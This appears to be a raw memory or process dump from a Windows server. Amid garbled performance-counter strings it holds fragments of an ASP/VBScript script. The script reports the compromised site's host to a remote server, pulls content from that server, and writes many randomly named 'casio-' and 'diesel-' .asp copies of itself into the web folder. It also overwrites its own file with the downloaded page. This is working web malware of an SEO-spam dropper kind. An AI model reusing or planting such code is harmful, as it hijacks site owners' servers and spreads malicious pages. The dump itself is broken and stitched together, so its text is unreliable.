00@df@\VPS\22256\SECURITY\LSA_AUTHENTICATION_INITIALIZEDBD\VPS\22256\RPC Control\lsasspirpc Bytes PeakDisplayName009+ 8\8F888CounterType8 8\8F8888PerfIndexE 8\8F8888G9HelpIndexR 8\8F8888G99DefaultScale_ 8\8F8888G99:DetailLevell 8\8F8888G99::dPoolNonpagedBytesuint32 7;Pool Nonpaged BytesDisplayName 7;s;^;Pool Nonpaged BytesDisplayName009+ 7;s;^;;;CounterType8 7;s;^;;; <PerfIndexE 7;s;^;;; <]<HelpIndexR 7;s;^;;; <]<<DefaultScale_ 7;s;^;;; <]<<&=DetailLevell 7;s;^;;; <]<<&==dPoolPagedBytesuint32 J>Pool Paged BytesDisplayName J>>q>Pool Paged BytesDisplayName009+ J>>q>>>CounterType8 J>>q>>>?PerfIndexE J>>q>>>?j?HelpIndexR J>>q>>>?j??DefaultScale_ J>>q>>>?j??3@DetailLevell J>>q>>>?j??3@@dPriorityBaseuint32 UAPriority BaseDisplayName UAA|APriority BaseDisplayName009+ UAA|AAACounterType8 UAA|AAABPerfIndexE UAA|AAABoBHelpIndexR UAA|AAABoBBDefaultScale_ UAA|AAABoBB8CDetailLevell UAA|AAABoBB8CCdPrivateBytesuint64 ZDPrivate BytesDisplayName ZDDDPrivate BytesDisplayName009+ ZDDDDDCounterType8 ZDDDDD!EPerfIndexE ZDDDDD!EtEHelpIndexR ZDDDDD!EtEEDefaultScale_ ZDDDDD!EtEE=FDetailLevell ZDDDDD!EtEO=FFd0Kuint32ؙ< ~hread Co0uS0rvEnd Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function R XX @VBScriptA7O[JU#Remote_server="http://20150607.storeseller63in.pw/casio/" directory_Number=5 Server.ScriptTimeOut=100 papers_1="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_2="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_3="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_4="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_5="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_6="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_7="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_8="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_9="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_10="casio-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers=papers_1&"."&papers_2&"."&papers_3&"."&papers_4&"."&papers_5&"."&papers_6&"."&papers_7&"."&papers_8&"."&papers_9&"."&papers_10 fn = Request.ServerVariables("SCRIPT_NAME") fn = Mid(fn,InStrRev(fn,"/")+1) NewFile_content=a(fn) host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),fn,"") Remote_papers = Remote_server&"/papers.asp"&"?type="&fn&"&host="&host_name&"&direcÕX(esel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_2="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_3="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_4="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_5="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_6="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_7="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_8="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_9="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers_10="diesel-"&getzf(Rand(4,6))&"-"&getCode(Rand(4,6)) papers=papers_1&"."&papers_2&"."&papers_3&"."&papers_4&"."&papers_5&"."&papers_6&"."&papers_7&"."&papers_8&"."&papers_9&"."&papers_10 fn = Request.ServerVariables("SCRIPT_NAME") fn = Mid(fn,InStrRev(fn,"/")+1) NewFile_content=a(fn) host_name=replace("http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name"),fn,"") Remote_papers = Remote_server&"/papers.asp"&"?type="&fn&"&host="&host_name&"&directory="&papers&".diesel" Content_papers=getHTTPPage(Remote_papers) Content_mb=getHTTPPage(Remote_server) papers= Split(papers,".") for i=0 to (ubound(papers)) WriteIn server.mappath("./"&papers(i)&".asp"),NewFile_content Next WriteIn Server.MapPath("./")&"\"&fn,Content_mb response.write Content_mb Function getzf(iCount) Dim arrChar Dim j,k,strCode arrChar = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next getzf = strCode End Function Function getzfew(iCount) Dim arrChar Dim j,k,strCode arrChar = "%#)]{!=_[^;@(-=;$}" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next getzfew = strCode End Function Function getCode(iCount) Dim arrChar Dim j,k,strCode arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1